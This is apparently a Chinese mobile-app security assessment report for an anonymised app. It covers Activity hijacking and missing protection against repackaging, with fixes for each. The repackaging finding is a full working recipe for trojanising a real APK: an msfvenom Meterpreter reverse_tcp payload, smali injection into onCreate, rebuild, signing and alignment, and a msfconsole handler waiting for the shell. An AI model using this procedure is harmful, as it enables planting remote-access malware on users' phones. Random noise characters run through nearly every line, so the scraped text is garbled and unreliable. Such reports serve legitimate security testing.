. E2 d6 E, w0 \7 l+ D, a
3 T: F4 y5 `/ q: _4 V9 t# \* }/ o
. F% O; @# w* k2 K, v
: [4 a0 s7 I, }- t- S6 N4 I# M* u7 _& W1 Q; x
3 x( o" a" E1 g+ y3 |% \' l: |
& w- d d6 L" K; ]
$ r" v+ G& n. H6 y/ C4 i
# i* N- Z5 f9 W! \# m4 O/ L : `( L+ j0 ?: ?; f9 d2 e
% Z$ L8 V W3 w0 `4 u 2 检测结果 9 c/ ]) @9 B* i# o0 J
3 v& [7 ~( b3 A' R5 ?4 F
4 |# B M2 [9 ~2 c1 E& m9 h, [. C
8 M1 u D/ [0 M: H3 Q 1 u! t* m. i+ }* q+ o# H
5 j6 E! x* \! Q+ h. u7 X 2.1 某某某 V3 X& S0 ^+ F5 F2 R# e
6 y- s% H0 X" A/ S; t
8 h* I$ I H, K |0 a
0 j% X' z' L* n0 `5 d6 ^& O- ^6 D
" p& ]9 N* m& Z' L: \
2 y4 Y. e+ j+ H: x/ T" i 2.1.1检测目标 5 b" ^! }6 q9 w3 ]( K! `
1 ?1 e8 x: K4 M0 b; Z( m& @7 o5 \
& f2 H5 M/ a- d' R7 ^: a. \. ]! D- g& ]4 s7 e# }: c. _
; {" ]5 O8 s- `2 E+ V2 M# E0 [: U& b
目标地址: 某某某某某某APP
6 w q, }8 ~8 y+ `2 X" S# V! `) v: o! L1 r. [" |* J
/ x- Y; p/ n5 U$ {) o3 l+ S; _0 Q
$ k9 m0 g5 }" s% l& \3 t
, ?' k" b" U$ {. |8 a% u 2.1.2检测结果 8 P6 P( K3 v5 V# c' S8 V
" }! E' h0 y1 o
6 X( p9 W% q" @ j! T) ^7 h/ w* _4 Y0 L# O. c/ X/ w
, K1 G2 \/ j( C- n
5 D' p5 z& F) K% m2 _ 2.1.2.1
+ B; e4 c: @0 Y# C3 T: v! V# v3 M. Z; K7 `2 o( q8 e# ?7 D n
) v, u8 I* d8 ?+ ~1 F2 P% i! A- W, L4 U! _# }% |' H3 B# Z' I: j
5 h$ w+ }. x; c, P9 k0 q2 x1 Q& V+ B3 G0 }! e; v
漏洞链接地址:某某某某某某APP W% v( [/ ?6 e4 y& \, [9 [- f
" h! B9 l: ^" m$ |; E
% O1 V) a9 w0 H2 d8 S, l0 x- ?( b! R, S
5 ?. y3 b p7 g% w
/ B/ ^& c8 l. G( l9 K; F. {& S9 g 9 t( n4 v! G7 H# X
* n o3 P$ Z* z; C; P+ U! ~
; Z8 A/ {% ?; |+ D6 ~ |/ q" D$ y2 k* h- Z( _
5 t1 L; C( X {0 V. b3 y _+ L/ t& T0 s- g8 L4 O! t9 f+ L
漏洞分析及取证: ; B" f" z2 \, Y4 M3 Y
7 Y/ d6 X- B& o9 |, U; J
7 ]7 t+ ]1 H- i) x) O7 v: r
- a% v4 [0 ?" S: G4 @$ ` 3 ?6 f8 c" r/ ^
! d0 w9 @+ ?* t, B 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ' R9 W% S' `- W9 v3 h# {# v, s
2 f% m5 p4 ?& l
6 n+ E E; {" R; s. w
( z% G3 m' t6 D& H. ?0 C0 i, K 6 A8 h5 B$ a: s
5 c( D9 ^3 D2 Z6 w) V% C+ i" }' O
0 N' u# K0 x4 q; Y- H
6 }; B1 J2 b- A3 r. {) H
1 b9 Y: ?& a8 e3 ]' ^
3 p- n5 {% g* t * g& p; M8 s3 h+ C
- q7 Y( U' r( F* O
% M/ O) ]8 z0 ~5 v) G4 N1 O0 ^8 t0 D/ g
0 y( b p F! ~0 S
4 X6 a7 r8 `, I/ N5 L( k% R' d2 U
% P2 A1 M' `4 w8 Q! p v
: a+ `7 v/ z: i; R& r3 W0 S! b4 ~
' z$ H! a$ q. [+ D! P" C
, w4 t. X% d7 n% a3 v: A0 P, c
# C! j+ F* H4 u% ^: S4 y5 ^
$ B" j. g# w/ ?6 |
& Y, q7 \# p R# ^0 [* g# }( M; a6 j1 ^2 y0 e2 G/ y" p
8 u& z$ X9 k% R# c" S U! p
7 @$ H% i4 @2 b/ o7 `2 f- h9 N
- [6 J- }* r. x7 ]3 g9 b! j
4 @& T! h$ V, g1 ?& J$ [
d7 D* @- ?: h6 W( }8 K& r2 n& G! d4 I6 p2 b
# r5 n/ Z4 w: f% [' R( T
# g, S, o8 j9 x
1 R4 s. ~1 [8 }5 \4 ?- O" i2 I0 [$ U0 `' P5 T9 w( v# D# t4 n
5 d' F0 e3 k5 l1 M3 J/ _
1 ^6 } T' F6 I$ `; y7 s 漏洞危害:高 1 y% n( O/ f, m" M5 @' f Y
r/ T$ I8 d' u# G
0 c$ `7 g/ d8 i; S- i3 L
$ y) k! _; B; f6 h& P& ?
/ m' P0 i. p& A) P
$ L; y+ n$ B* b* v1 y' Z 1 F o0 ?# K1 a- v L: L4 {
0 @6 X% ~: h3 R! W2 ]
( v& A; T; B+ e: K4 N0 M: C5 y8 K) l* h9 q- B. f9 `$ f; M- U
. E Q" p$ u e W. r
4 T) z. ^* X1 V \ {/ M3 B
| 8 Y+ T5 N; ` M% b. _/ g* M
4 ]1 I& z+ Y, Y+ a7 a- A
9 Y# q9 B: u* e5 p B" I _" v9 _. H& I, w& S! a b
严重程度
l) @1 \1 U+ n4 D* S+ W( D
% K0 l A3 n9 S( J' D3 D7 x
9 B. e* p3 q" y w$ e, F0 M8 F1 Y e7 J% Y2 ]3 w; i* d
| 2 E2 c! B$ } W$ X; V+ {) w
# D) \# `% n4 N: y# ~8 J' I1 N 6 k; j n; M% r1 E; u, f
- [! G v1 q1 J4 P4 y8 H 2 @% [+ ]6 x) v3 m, Z1 c
! j+ X- t% c7 U0 K* f
高
4 j" |5 k9 T' [$ f' r H9 `! W7 T
! r. c& v& H* W+ b: F3 R * J$ L$ d) Y, Z _' U
. D; l R9 d9 K; b0 f
|
5 u3 z: [ y: _, e7 p, z( P
9 [# J+ ^) {4 R " x+ B, a; W1 J% D F
+ N P1 z( _2 h! N " E: x, H! l3 H4 |
. Q, X' X% [+ J) |
■
7 c! U! j- Y% w5 n: X$ z0 r: e5 Z/ E' K4 q
$ u: A. q+ ?) n- Y) n+ X5 _
$ z2 Z, {" |$ \2 g |
2 ]& D- G9 M5 Y
% ^, x5 @' e1 t: g& G* a
$ ~2 A- G/ s; I$ V1 n+ E& ~% E* E+ g
# _/ C6 N1 ` \8 `) C/ A2 R" M' w! ^. F0 S+ d
中 ' ?2 W# D' u y( [9 c/ C8 x/ N
) i7 c: k( p2 ^% l0 E7 V( {& r
/ B3 E, o' m% {; x! a% r5 i4 n4 Q0 J8 y- V* A) S8 B7 g6 b
|
3 ^1 f- N7 }, c
; Z3 C% Y# z& y, ~5 ^7 W% n 3 v' J4 H- l0 A; m r
* I8 O: ~, w0 E7 n* E 9 H* ^6 }) w! P+ u% M7 P
, T3 u, q! i$ _. R( _
: t) ~9 r1 i8 ?' P i) n7 i/ O6 E) C. H, t6 g) P) Y
6 E; z7 {. e' E! M' `3 l9 A9 r8 w# f' @
| 0 Y, ^" p* B4 w3 f# y
( `, z( V% ]0 y/ ^0 n0 R& W( q
1 A# H+ b! b* Y P( ^* F1 p {5 ?0 p
# ]' b( s) r2 C% e0 Z E6 p
1 m& ?% s/ E9 A! C! A- h* o0 W. C ~
低
- |5 ^7 l8 u, r4 H& }/ I% _2 X2 U4 ^3 \% f6 h ?
/ |$ ~& W1 D* Z8 x9 y/ ^+ J# o/ o* r; V" k( O
|
% H% F# g4 g t! T/ X1 ]: h; \/ \4 c3 s& Y9 t0 G9 Z2 E5 D
2 E: M2 G9 D+ `5 y" ^7 P+ }. J1 ?& {/ D% {! M: K$ s1 G
9 s9 l; T% B3 F! W2 Z0 ?
6 l1 X- a& ?2 \, v2 _3 U( U+ ` * s7 M/ O! ~$ E
5 @' T4 O z( F$ {
1 y5 F2 Q6 r* B+ A! q6 S) ], p$ p+ j% @( x. E) H9 Q0 q7 ^2 _
|
# T; T. e0 L& o: @2 y9 y$ v5 v4 Y+ H1 Z4 c# _8 k1 R5 A
0 A- a* b9 r' |7 k& T; d
9 V5 g4 m# v( L
2 ?" c( w" x- U7 K1 o/ P
8 x7 g0 n5 B5 C$ q) A& M
. S6 H' Y1 y2 N! X/ L: |. }. i: a* H
; ]8 g6 ]: ^+ j/ l0 z% d% s
) [' Z6 R, ~" J& c4 V, L9 x+ C& f; S3 \5 q" b& M3 ^4 w
4 H9 |9 s/ F# K; P0 ^- L4 n3 }, H* W: Z' m) N( e0 y" L, N
# m; w: f3 Z% q& J( R& A: Z1 X
- N9 X0 P: j. V, V/ L
& W4 A* b0 [7 e b4 k( O
0 v/ [0 q. r, \$ t' [3 W 4 M7 [# r3 I4 p% P
1 I2 _7 e9 s' E% B5 c* K) x, Q 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 3 U! G9 h1 U3 P9 J0 u
2 ~0 W! M' ]. G) C4 C. f( v
. }" p' }3 X$ I; w: B/ }# q2 }4 B
7 J1 j- O- g3 e/ ^8 C# l
" n8 ^% L0 Q( R, A) z8 e
+ c3 C8 Y# x& S) P
& Y- ^" D8 \7 T, p. _" M) U
1 c" ^( s: D% Q, {2 d F/ E* Y% o, o }; _' [. L- u
$ g' v# I. n" @2 H
+ h8 O( d" F9 X/ Y& \9 Z# g - a y; C7 h4 V/ `1 j% S/ Z, Q
! N" x1 q. l) e4 x5 | F9 k$ I$ R7 R0 f
1 r. N# ~/ ]+ I& [# M
: p5 x/ y3 m$ Y% [
% A3 D) W* E2 S
7 |- |' E0 w! b' M: C9 o* J; K5 U4 p 2.1.2.2 3 `6 ~9 ]# j: f( w7 b$ o
8 q' r _8 b7 Q: B& G& i+ W
- R- g/ w; W9 v# i2 Z2 z/ s
K0 x; Q. G& Q1 W R1 W( W
9 a- P: R) w5 D1 c% T: o/ T \% M6 p6 F- J5 r* p" P: Y& N& @
漏洞链接地址:某某某某某某APP
8 j' j) ?; I O; Z
2 u4 e* W; x" {) L% q8 f
5 m; X" `+ [. v9 e! ~1 n: ?4 @7 k% a4 Z% c2 ?! a; D
; ^& d j/ d2 b# ^; }, i( |, g; o7 }% \. o% k8 \
漏洞分析及取证: / A8 }! ]1 Y; E; m) F/ S5 I
9 Q: n: W, Q- k3 ~% t" [( A- P
( K& \% h* y: b Z* I
1 K/ f$ c- h) j1 P& l
, G1 f& `4 f, [ K/ Z" A- B
4 U# N( X8 d% Y2 x 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
+ K! T# y8 N; m7 |
6 }6 P8 `2 v9 N R3 M) ^
% u+ M- K9 V4 d# n
1 X- J7 ~. W. x! ]* Y
) m* g6 I* X, r5 o/ I4 m7 M
8 U2 \+ Z1 W G5 f* h; @# l; h 用Metasploit 生成木马 apk , a L+ D1 C+ z0 ^' E
+ g, ~( ^6 N( j7 Y: a, b) f
7 \* z0 Y! g6 |5 {9 v5 Y
! `0 P7 Z- x: C6 h! |) a+ u' J5 H
/ g3 d" x# Z' e6 C+ q$ F9 Y1 d+ S" b$ Q2 b( |4 }! T* ~
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk @6 A. o* |+ {
& ^4 Y% @1 Y# K2 }" p, H- C
0 W% c ^! F1 @1 j. ~- _
: F% T0 l5 |% K4 }( l
$ w5 d; ]/ K. z
# V. b+ e# z4 @& c0 r) n. a 反编译目标apk和木马apk ' k& x1 V. O: w
4 n. J0 Y7 \( h% B2 d9 X: |, G
6 d) a/ h$ ^6 B; c$ `: x5 b* h7 m8 a4 u
) F6 S/ ? l- a4 u# p2 C+ C
2 _! J3 ^& a9 n- j% S) | apktool d target.apk
6 y" c4 y. n+ K/ |
4 k/ o2 h- ]# Q4 v0 s
apktool d cockhorse.apk
( E2 o, Q3 @7 ^. L8 d. i! h! ^) }# [( u- G
C1 w- G( `$ X9 e9 y
4 `$ f; h/ _0 F) Z+ H5 S2 [1 |
# ~7 [7 C l: b+ p3 ?9 z# L; l& R( W2 G' ^5 h: t
木马 apk 注入目标 apk
* P4 ?1 {0 G" m3 q$ U, ?3 O) ?3 N* B( x
& g0 g: j4 r4 b/ @
) j4 Z+ @! X3 G" g+ [
! y+ Y, h" p- K( x
( a9 x+ h' H, V: R 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
[" p: C" I, y- u" v4 a O$ u# N
; n( z/ E* t- b# u* D
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
: i D3 a$ }; y" k: K5 k( W/ a- A7 J8 u. f1 f
9 _# p5 W4 d& D/ K# D
' r0 {6 q5 Z. I" a7 l6 j5 s
1 z1 H7 x# {, J7 s% N& Z$ i" v# S
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
4 M2 p$ S* Z3 I( M* t8 v F" |/ L$ S+ r/ z% u. O" X
$ |! i% D" `9 G
5 Y( ]. M- f5 R" ~
0 [& B2 f% }. l. J' y ]! D( H2 V
# q9 A, v0 P/ d4 }+ _$ h9 C W
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ) S% @% E) c7 }7 l
\0 h" W( I+ u; D& E' \
/ ?( V u* _* F1 n1 f8 [# {
7 g, y/ w9 i# o8 m: N7 d U r5 j: K! h: s& J: I
4 u7 h/ G7 r# [: i 回编译生成最终 apk ( z4 c" j B ]) p% P5 u
* Q/ R% c# t/ y$ f" }) K! O& S: K; f
* F( r+ X I# h2 i
' p7 H1 i+ y, J2 v4 T- d; a0 {
/ ?+ u$ W6 D- J8 D8 |( E3 k9 b9 `5 b, p% }( g4 O
重新打包
# O' ?9 m: g3 m
; \0 i; _5 y2 V
+ t1 D T* ~+ I% l( L; [
9 O. G3 B/ k9 r; U. D
7 w4 v+ g" J5 [0 }/ R9 t% t/ i& T$ M% c$ L8 l' J2 ^/ K! h& R0 L
apktool b -o repackage.apk target_app_floder % }- i( m% h- u( m
5 m9 P! n. U" O1 \# x
) i( U0 U$ b4 O( x3 ^
! ]" C$ q! Y9 J
4 B5 [ O7 y* a" [% q7 f4 q# e' K0 ]4 s. M2 v- V
创建签名文件,有的话可忽略此步骤 ^; D# H0 \( ^
: G$ v& i. C0 H0 f" o# w
; X `8 }7 j" r; q" U4 ~2 z
; C) ^" m* r6 }+ H 1 {+ X( Q5 N1 H# _
/ B" h2 Y4 H, F! K0 T ~ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ( R' i- E( k& b6 n9 k" n
; R" k: z q; M" }) B
8 T3 x2 h) M1 R2 G7 d6 C z2 a9 f& v: d8 O2 m
, H/ y' A9 b! A) L6 o) r/ d3 {5 t9 f
. _; m0 s# J% g3 d S
签名,以下任选其一 . N* M$ ^: O- d' I
7 G" I! q. i% {% k
! O$ N, D: b. `( ]
2 f6 P) N# U) A7 X0 O' }
4 v" u2 ^; q; J9 ~- } @& m
0 J2 [$ ^" o% X: T; R jarsigner 方式
7 `) w- R& n# r" p* J! R0 Y, r! f, l2 h* ]! V: G v- X
# c+ x9 C2 |( Y3 n
5 x* H; _2 p0 h$ Y6 L 2 [0 a& |5 k, N6 Q+ |2 X& r; U
3 v- V( Q' ?0 n2 I4 {- | jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
+ o, s# ^, T- J& l0 }9 l
4 C1 U! C) }+ r8 S
0 i' g, E8 k) `# g$ _$ Q
6 Y* E s- E7 M4 u/ C0 O
* F4 B6 a7 j: D g! v( A" q% j# O: r7 H5 h( @6 h" G: N( m' H9 T
apksigner 方式
i Z; P7 s; q5 G2 p& P! T( b* w/ G- I+ y) J
, N0 B+ u# r) B1 R& z2 V# J- [6 S& Y0 I% X1 ^$ p
9 Y0 z5 P# [; e. [1 G
( J7 o* R5 `$ B: e
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
/ I5 t, d% i" ?$ c4 C5 H% M" _4 ^( q, e5 g5 u1 T2 ]
" J+ C i2 i# r# A4 s7 l
) R: U1 A5 B7 T * `0 b# c; `$ d' Q2 I, |! U, y
9 F) k: D6 M, Q9 F7 M, I
如需要禁用 v2签名 添加选项--v2-signing-enabled false
7 E. G6 M; z# z% L( `6 V5 E( U$ V* {
3 W* ~9 d, C! C9 d
5 {! r+ t* _' g' S8 q
% l ?% s* E7 D% Q0 e
\8 G: Q0 b& \8 P3 [$ N) J 验证,以下任选其一 3 p, b% G3 Y y4 h
/ C9 |/ r- Q+ k3 `1 \ I
0 |3 V: [# K I0 Z; A8 ~2 `& S3 d' ^# N
* ]; p; ~$ X# g" I5 A- }" M0 W6 ]5 P- O! W2 e/ j; U
jarsigner方式 ) k% O! w, ~/ m) K4 K6 m6 ~
1 h% w5 y4 I2 m! \
. L# T; s7 u" Z& |, `4 E
# O! |" C/ A4 T# y6 y2 h
& N0 Y! M: I2 F. z; B4 K4 M o1 u+ z- Y2 D$ u; G: [' G
jarsigner -verify repackaged.apk 1 R" x) O! F4 I! n( Y
. g- X7 y' i- ]% z J
6 i) O# X P& Z% R8 T
9 ^4 }; N7 G( h. S% d: e! a
* h) X. y: D, V2 y( a* |! x
2 F6 O- Z8 Q3 b! H8 V apksigner 方式 - s4 M: l; A; e6 y- e
- N3 f$ G& i) w- _' ?
! p1 k5 D! S5 ^% i
. K8 u) ^, t# X9 p$ ?: r4 D
8 S8 j; l! Q/ y9 I! `' T' t1 @/ M5 l; H/ k2 I- G
apksigner verify -v --print-certs repackaged.apk
; w4 X4 Q/ O5 R" X
* m- G. u* l. l+ m r8 O& A
+ x% ^+ v$ N+ i7 }
+ a/ x" E$ Q" o z * r7 ?! r# _: V: K1 o) T" k H
G% [$ f0 P2 ?. K& P* z keytool方式 , f7 k M1 c( X$ b
+ ?2 o2 L7 b1 G( K0 v
/ K0 o/ j. i" c( p& ]% M
7 O* T/ i9 a- m
' p- m) Q2 c% f, P1 P) {! m$ ^; r; l, D. _" Q& N( w. F
keytool -printcert -jarfile repackaged.apk # r3 p6 B t2 K" K
4 Z: W, p) C3 [. `3 e2 U
3 \" {- E. `, W4 o5 o. W2 b; V
" Z8 Q5 I# f4 z6 g, p3 L a3 F0 M% n' d( M1 u9 l0 k+ T$ t' d/ a' V; o
对齐
+ j1 c5 v# p' r% \8 h: E% X
7 c: t/ w7 L; C+ h: c
( \: G6 N& \ |
! B" | \8 I+ ^$ n4 m
9 \ o- [. Y" `# a: N# r7 H% X: L3 @6 b, \ _* t
字节对齐优化
% i, D- H$ b3 e
2 r5 v- U0 j1 T0 }; C4 `+ _
1 B/ J, _" c, u6 y7 L4 P$ H9 B. y
2 c6 c9 M7 F8 z5 W, w2 T4 c
+ W4 I3 g1 @) ?0 A
+ }! _, g* P) X% k) h zipalign -v 4 repackaged.apk final.apk 6 l& U4 C& P D
, ]9 n1 q0 ?& u" K
T( @+ r( u. ?/ }% _/ p# Q& k$ l
: s5 d. V, w% F
1 H6 K% y* G/ p+ H& ]7 F+ [ 检查是否对齐 7 y) ^, i# t% \! z) g
2 o& ~7 @0 a- }( I0 I
/ ?. U4 V- @& u7 p8 ~3 R
& p. x, E- f {+ w
9 E' w" n& S4 s: P
+ t+ `8 e1 b& ?6 c2 ^ @3 B9 T zipalign -c -v 4 final.apk 5 V0 X c4 B9 [% S
9 r# d' M) | t4 w" V |$ H
2 x: ?0 F& s. ?1 Y1 Z# B1 q, J+ u' a" }
' |4 U0 H, ~4 s9 l8 j$ p7 N5 C
3 l; Y% i& U# y& {6 h7 ^) B, d) v6 w 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ) ~' `$ v5 \; l0 W# G
w7 G2 {& _% p! U! B. B* ]& ^
" G% s# b" L; c) n, l0 _& @: O
- _( z" i& X; A9 j3 V( x6 l y
0 d2 o5 e( D% v# N9 U- {) c6 }( }2 ^
6 |1 h: E, o: Q& P 启动Metasploit控制台,配置参数等待上线 6 m0 L6 N0 Q3 j1 B4 |- m% ~
4 {& a- C; F' H5 M: G |# ^. {! e# ?
) N$ o2 ^! Z0 w+ ?. c, n _) o( p. s/ ^5 k8 u2 L1 ~% ~
5 @: Z. z! a, ]3 T0 _2 [! [6 _8 r9 D+ M* k) m1 ^
在终端依次输入如下命令 4 O# B) D/ x; x
. T, q/ |* l+ z2 @8 m$ k0 u! S
4 d# R$ g- R7 m7 j$ ?- N- ]' U' D
4 Z% c5 f. S( n5 ^5 g B6 i1 P
. q5 [- b; o) ], D: @% A, G
' q5 Z7 h7 B c9 f msfconsole 4 D$ N4 _9 T/ q' Z
1 W& x0 u. C, {! T$ g1 |
0 G4 F4 }$ B1 E) q$ R' X$ T1 w. d
& G2 s4 V% \4 V1 z
& w$ d" ?9 q2 ? e
0 j p& Y# v4 W- v. {0 ?5 D( m. H
use exploit/multi/handler
$ e8 K# N" N0 r/ P2 d
- M: k4 @% R6 E( B n
9 `/ y. c: [8 ~. @7 O ?4 P% p r
+ n8 w8 z7 y2 Z
* S q" @+ Z; j- i. W% M0 H
1 _/ ^' P2 T6 l" J set PAYLOAD android/meterpreter/reverse_tcp 5 m! X8 m- d' ?
3 r) g& b. p# X+ m% ^* k3 p
9 U8 D9 O" r* D1 G
! A. ^0 R5 F9 K5 Z) _0 a. i/ f* g- |
8 A, }( m4 S# Z9 X& ^
. _# S% O5 M" F3 o7 E4 [/ R2 H set LHOST 192.xxx.xx.xx
4 Y: F$ J# N. E1 g o& ^
8 C. h6 N; N8 o
$ S u. Z9 P/ w# Q9 T9 s. L+ A
+ S4 j- L6 \# @6 _. ~- z$ a / i: [5 l' \; m# M [
Q. A5 {& D/ Y A% ] set LPORT 4444 9 g6 `& | |& H! C6 F+ c
) D0 N0 P) k7 ~' O
/ z8 y x6 p2 h" l0 Z
. E$ h8 l) ^, R% {% k0 c, B
3 E! Q+ B3 h( Z' b- y- T1 h1 j$ \# [" ]
exploit
8 z# ] j; n h$ J% z& E) F' K/ [+ G+ r# i$ W; }2 {' j
# d6 M, Y% p, C$ q
. y8 T9 j& U7 \3 \ ?' ~ ( G1 v2 f( z0 f. {$ T
# b8 v: b3 `! i- {: v# d9 `" K 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
$ j0 T5 X& W! ~3 b( d
$ x) Y+ G$ l3 Y
]5 m U$ Z: r. J* |4 F+ @
K0 `: G, r7 [$ g
+ s9 H$ l! h4 O. }- J% s
+ n; @0 n$ |! @- x1 f( W 漏洞危害:中
' C/ ~/ I+ _% F9 v" M( k# Z) m; T1 h1 E5 g; P6 _
+ N Z& s6 `* E) Y
4 h; d' k4 H* `7 \* Z T s
7 s- o" _* S% P, Z0 m" ^& L$ s" M* j' U6 q$ g
5 H' N& ]: `- P2 N* T$ Q" Q3 ?
& t$ U& i# ^5 h9 R+ p6 v 9 _ F4 a- N8 O1 q' i& Q* ?7 x
" o( o1 F- H+ Z8 b* C4 o - R" P" Z/ o& c: t7 ^
6 Q6 v3 X9 y+ j2 M% A; X 8 b+ }% W" m/ p5 e/ o
' ^, M9 I' J: ?# q l: o
| 1 ]4 n* m$ g# l5 S7 j: G2 o. f
6 D5 V) E' n) l% R) e" g
/ b8 C& N: l! t8 a T6 ]/ a, S' Z* s
严重程度
$ X3 a( a% r% ^% `8 k6 }
, D" b5 Q! f' [. f- v8 N ( w5 [; c2 R2 h
, ~& l; N W) ^ ^& L+ x | ' ~* A" A6 Q2 ~
! Q& u7 T% b) @& @* ]
" h4 ^- W9 S+ |8 f! f+ i" ^8 a( e; Q: S$ w, J( @
! [+ X4 _, x3 A. J) N: l. D* U) {7 |7 p) L& y- H1 a- Z0 k3 x
高 : w* z" n p# k- b0 ~
0 q- P. [% [9 k9 X. V
% c8 i) n5 C" ~
5 t8 n; e$ ]6 d. l: | |
, O% \/ X) z3 @4 K2 o- v) R) u& z% t2 k$ {% k9 f8 O
. H8 ?; V$ d' c; M$ _! w' \
* I# C+ W$ N, m! v
8 f& X& D3 P# ^6 O7 e: E C* O& j& J
■
, }# u2 w5 e6 z6 {0 H0 `0 }8 n5 P, b; I
9 p- {+ g% {% {
* j5 F( k4 p, @% A% Z' w | ! R6 t0 v" M8 S7 N! U
1 ]0 @2 w5 _- M# {/ S2 f2 j
2 V+ E- g4 @, D3 f- y) L. R5 h( c) x, z' u& x. h; T$ t
# b3 n8 |" A$ t) Y. ?% ^* ]& j, Z, n
中 1 E! X: D# x+ T Q0 r$ B
) R1 D. k9 _$ N% ~8 B9 ]4 ~$ F
! v' J! F6 n& T! {4 m. R
2 R5 a" q1 p+ I |
) a F0 k* p# Z
5 y3 c2 J; U! D7 G& { f
% w+ Z% l9 E1 G& J9 h8 @" L8 c. ]8 |
; F' ^, I% \9 ? s) h# ?2 B7 q0 s % t4 j- j: _$ x- c8 Q& \9 V
' h6 B# t0 C' T/ E* L6 z
) v* t! x+ B) e5 s I/ B% k
( @- l9 M+ g5 C, ~4 s& r k# g2 A5 K
" @2 D# r) ?9 l( a, I
A1 T& X3 o- R
* q+ [ o3 f) V( \
" e+ T8 n, z; _ |
0 D# A0 M$ b5 ]# w7 N3 T# d; S, {$ H; X& L8 L, L# B
% s m; D0 f: O% a& h$ {4 U& l2 b# B3 e( [( D
: L% J6 D$ ], l! `
* S: ?- F8 l* s
低
# f# n, n* P1 O8 ?5 l1 s% V, _: f8 L) N k: U5 V; k5 E' G
; D. e- R7 `0 e) l3 V& L5 ?. B& y0 H0 |" m D, b. f5 F I) ^7 v
|
4 z# k3 w$ U+ R% \) O8 D
, H W1 b( ^+ N- h: ^( C) J
, g( u6 @8 D7 r7 Z* {3 H8 ^6 o- _) u+ {
& m V- D8 D) n8 `6 q
8 o! R! M! B* O( s( v
4 _- E7 {& a% t0 A) \
1 Y4 k- o: b4 b, h' G { & g# x2 Y& m: B, Z9 `( Z
' n- |; t1 b9 o# b& A. c4 b- e
w3 S7 i7 ^9 ]9 Q, E t! j) ~
) V! R( E8 N5 L: ] v; c9 N+ p |
: B: A# X# d s u) k$ k6 c5 X9 N$ Y6 k+ H' b9 D" P6 n- Y( e' r/ h
# e- t% w; u4 u; V9 v8 a4 z/ A- V( [' L/ R8 D6 p
+ }" y% `- R: d2 t3 q" |" e! r# {3 b
" X9 R3 S2 O8 {+ r
- z. } y9 {7 S1 e1 e
9 B% p, |9 H8 g
; K6 E' P1 k9 T5 k1 B1 T
0 G8 y: Y4 u) i7 {! W& y F% L( U w; y% [% C" T0 i# M2 \* B
+ i( q5 `6 d0 Z8 V& _9 d) {( Q
' e0 f# W5 e8 G
7 D0 o( `! I) j+ d
& c. ]. D& o2 D
! P6 I2 B5 U: e q; p6 a
( A! f/ y8 b; g+ O' ~2 R$ y
# [ G4 ~, F; t. W* L 修复方法: * Q/ j6 C1 Y: |
7 {5 j" f1 C; e8 X
C1 c4 D5 c3 d3 @
0 J) Z3 ?! T$ A- f9 ?* R) a' R ) D( r9 a( U; K
/ K8 g" D q9 m7 X
1.在 APP 启动时应做签名校验防止二次打包。
0 Z! { z0 T% Y: H. q- h7 q5 p i) P
* c- U- |. \; R) `# o+ k2 T: y 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
2 c' g* N4 ~% {: ? r, |. ^, {* Y& F! k- t! P$ h4 }6 |
" p* d" H# v0 j# B8 I- w" u
8 a- B% N/ `+ ]% K7 s0 N . y( K6 S- O1 F, d/ t
# {6 T, Y0 x* B# v9 m
8 j3 ^- o- _. [. w0 d
2 T+ f% ]$ s- @7 F5 n
; N: A* |6 y/ @2 K) B1 W
- L. r7 F: z$ U% [. Z7 m
& L% M/ H3 |8 z2 l
7 `* ?1 w L, A3 T- ] ' Q( Y% C2 s `. S
2 ^+ `( O) i1 Q8 Q
' o; H+ P8 x; Z! \1 W/ a4 b" E) Q
/ ]9 n, l! d; M; G. N# ]0 L
( D3 S! }) |% l5 p. ]
+ T; ]1 }2 ?! d5 T
) c. c3 t T( c
! O8 j6 @% K& A